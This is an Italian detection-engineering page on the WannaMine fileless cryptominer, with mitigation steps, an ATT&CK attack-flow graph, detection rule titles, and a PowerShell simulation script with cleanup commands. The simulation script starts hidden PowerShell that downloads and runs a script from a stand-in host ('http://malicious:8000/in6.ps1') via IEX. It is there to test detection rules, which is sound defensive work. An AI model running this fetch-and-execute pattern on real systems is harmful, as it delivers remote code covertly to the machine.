Analisi di WannaMine Cryptominer: Esecuzione Senza File e Persistenza
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
WannaMine è un worm di cryptomining senza file che si basa su strumenti che sfruttano tecniche prese in prestito dal sistema, principalmente PowerShell e Windows Management Instrumentation (WMI), per rimanere residente in memoria e minare Monero.
Indagine
WannaMine viene distribuito tramite email di phishing che trasportano file batch dannosi o sfruttando la vulnerabilità SMB EternalBlue. Per la persistenza, registra abbonamenti agli eventi WMI e archivia PowerShell codificato in classi WMI personalizzate.
Mitigazione di WannaMine
Impedire lo sfruttamento di EternalBlue applicando patch al SMB (MS17-010). Limitare l’esecuzione di PowerShell e il monitoraggio, controllare la creazione insolita di classi WMI e i consumatori di eventi, e applicare il principio del minimo privilegio per limitare l’abuso delle credenziali.
Risposta
Avvisare su comportamenti anomali di PowerShell/WMI, isolare i dispositivi interessati, rimuovere i consumatori/abbonamenti di eventi WMI dannosi, ruotare le credenziali potenzialmente esposte e effettuare analisi della memoria per confermare la presenza del miner in memoria.
“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[“<b>Azione</b> – <b>T1566.001 Phishing</b>: Spearphishing con allegato che distribuisce un file batch dannoso”] class action_phishing action action_user_exec[“<b>Azione</b> – <b>T1204 Esecuzione Utente</b>: La vittima esegue il file batch che avvia PowerShell”] class action_user_exec action action_powershell_exec[“<b>Azione</b> – <b>T1059.001 PowerShell</b>: Script PowerShell nascosto determina l’architettura del sistema operativo e scarica il payload”] class action_powershell_exec action action_wmi_persistence[“<b>Azione</b> – <b>T1546.003 Abbonamento ad Evento WMI</b>: Il malware crea classi WMI personalizzate e registra i consumatori di eventi”] class action_wmi_persistence action action_pass_the_hash[“<b>Azione</b> – <b>T1550.002 Pass the Hash</b>: Hash NTLM estratti vengono riutilizzati”] class action_pass_the_hash action action_wmiexec[“<b>Azione</b> – <b>Movimento Laterale via WMIExec</b>: Hash usati per eseguire PowerShell su host remoti”] class action_wmiexec action action_eternalblue[“<b>Azione</b> – <b>T1210 Sfruttamento di Servizi Remoti</b>: EternalBlue (MS17u2011010) usato quando il riutilizzo dell’hash fallisce”] class action_eternalblue action action_defense_evasion[“<b>Azione</b> – <b>T1550 Uso di Materiale di Autenticazione Alternativo</b>: Riutilizzare hash rubati evita richieste di credenziali”] class action_defense_evasion action action_compute_hijacking[“<b>Azione</b> – <b>T1496.001 Dirottamento del Calcolo</b>: Sistema configurato per minare criptovaluta Monero”] class action_compute_hijacking action action_power_settings[“<b>Azione</b> – <b>T1653 Impostazioni di Alimentazione</b>: Gestione energia alterata per prevenire il sonno e mantenere il mining attivo”] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[“<b>Strumento</b> – <b>Nome</b>: File Batch Dannoso<br/><b>Descrizione</b>: Contenitore per comando iniziale di PowerShell”] class file_batch tool tool_powershell[“<b>Strumento</b> – <b>Nome</b>: PowerShell<br/><b>Descrizione</b>: Motore di scripting usato per scaricare ed eseguire”] class tool_powershell tool tool_wmi[“<b>Strumento</b> – <b>Nome</b>: Windows Management Instrumentation<br/><b>Descrizione</b>: Registra gli abbonamenti agli eventi per la persistenza”] class tool_wmi tool tool_mimikatz[“<b>Strumento</b> – <b>Nome</b>: Modulo Mimikatz<br/><b>Descrizione</b>: Estrae hash NTLM dalla memoria”] class tool_mimikatz tool tool_wmiexec[“<b>Strumento</b> – <b>Nome</b>: WMIExec<br/><b>Descrizione</b>: Esegue comandi su macchine remote tramite WMI”] class tool_wmiexec tool exploit_eternalblue[“<b>Strumento</b> – <b>Nome</b>: Exploit EternalBlue<br/><b>Descrizione</b>: Sfrutta la vulnerabilità SMB MS17u2011010”] class exploit_eternalblue tool malware_payload[“<b>Malware</b> – <b>Nome</b>: Payload Personalizzato<br/><b>Descrizione</b>: Componente scaricato che esegue il mining”] class malware_payload malware process_download[“<b>Processo</b> – <b>Nome</b>: Download Payload Remoto<br/><b>Descrizione</b>: Recupera il binario appropriato per l’architettura del sistema operativo”] class process_download process process_mining[“<b>Processo</b> – <b>Nome</b>: Miner Monero<br/><b>Descrizione</b>: Consuma cicli CPU per il mining di criptovaluta”] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|distribuisce| file_batch file_batch u002du002d>|eseguito_dall’utente| action_user_exec action_user_exec u002du002d>|attiva| action_powershell_exec action_powershell_exec u002du002d>|usa| tool_powershell action_powershell_exec u002du002d>|scarica| process_download process_download u002du002d>|memorizza_come| malware_payload malware_payload u002du002d>|crea| action_wmi_persistence action_wmi_persistence u002du002d>|utilizza| tool_wmi action_wmi_persistence u002du002d>|estrae_hash_con| tool_mimikatz tool_mimikatz u002du002d>|abilita| action_pass_the_hash action_pass_the_hash u002du002d>|abilita| action_wmiexec action_pass_the_hash u002du002d>|ricorre_a| action_eternalblue action_wmiexec u002du002d>|esegue_mossa_laterale| process_mining action_eternalblue u002du002d>|sfrutta| exploit_eternalblue exploit_eternalblue u002du002d>|ottiene_accesso_per| process_mining process_mining u002du002d>|porta_a| action_defense_evasion action_defense_evasion u002du002d>|abilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings “
Flusso di Attacco
Rilevamenti
Download o Upload tramite Powershell (via cmdline)
Visualizza
Attività di Modifica Sospetta dello Schema di Alimentazione (via cmdline)
Visualizza
LOLBAS wmic (via cmdline)
Visualizza
Download di File Sospetto IP Diretto (via proxy)
Visualizza
IOC (HashMd5) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
IOC (Email) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
IOC (IP Sorgente) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
IOC (IP Destinazione) per rilevare: Come Funziona WannaMine: Un Malware Cryptominer senza File
Visualizza
Rilevamento Cryptojacking senza File di WannaMine [Creazione Processo Windows]
Visualizza
Rileva Esecuzione di Cryptominer WannaMine Senza File PowerShell [Windows Powershell]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.
Ragione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco & Comandi:
Un attaccante guadagna esecuzione di codice remoto su un endpoint Windows. Per evitare interazioni con l’utente, avviano PowerShell in una finestra nascosta (-W Hidden) senza profilo (-NoP) e non‑interattivo (-NonI). Il comando utilizzaIEXper scaricare un payload PowerShell da un server HTTP malevolo (http://malicious:8000/in6.ps1). Lo script scaricato registra una classe WMI chiamataOffice_Updatersottorootdefaultche memorizza una proprietàmoncontenente un miner Monero codificato in Base64. L’attaccante quindi legge la proprietà tramite[WmiClass]e la invoca, lanciando di fatto il cryptominer senza creare un nuovo processo. Questa sequenza corrisponde alle tre sottostringhe della riga di comando della regola di rilevamento. -
Script di Test di Regressione:
#------------------------------------------------- # Simula esecuzione fileless cryptominer WannaMine #------------------------------------------------- $maliciousServer = "http://malicious:8000" $payloadPath = "$maliciousServer/in6.ps1" # 1. Esecuzione di PowerShell nascosto, non‑interattivo $cmd = "-NoP -NonI -W Hidden " + "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " + "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value" # Invoca il comando (questo è ciò che eseguirebbe l'attaccante) Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow # Nota: Si presume che lo script remoto (in6.ps1) crei la classe WMI # con una proprietà "mon" contenente il codice di mining. -
Comandi di Pulizia:
# Rimuovi la classe WMI dannosa Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue # Ferma eventuali processi di miner PowerShell residui (se esistenti) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.CommandLine -match "mon"} | Stop-Process -Force # Opzionale: Cancella file di trascrizione/log di PowerShell creati durante il test Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue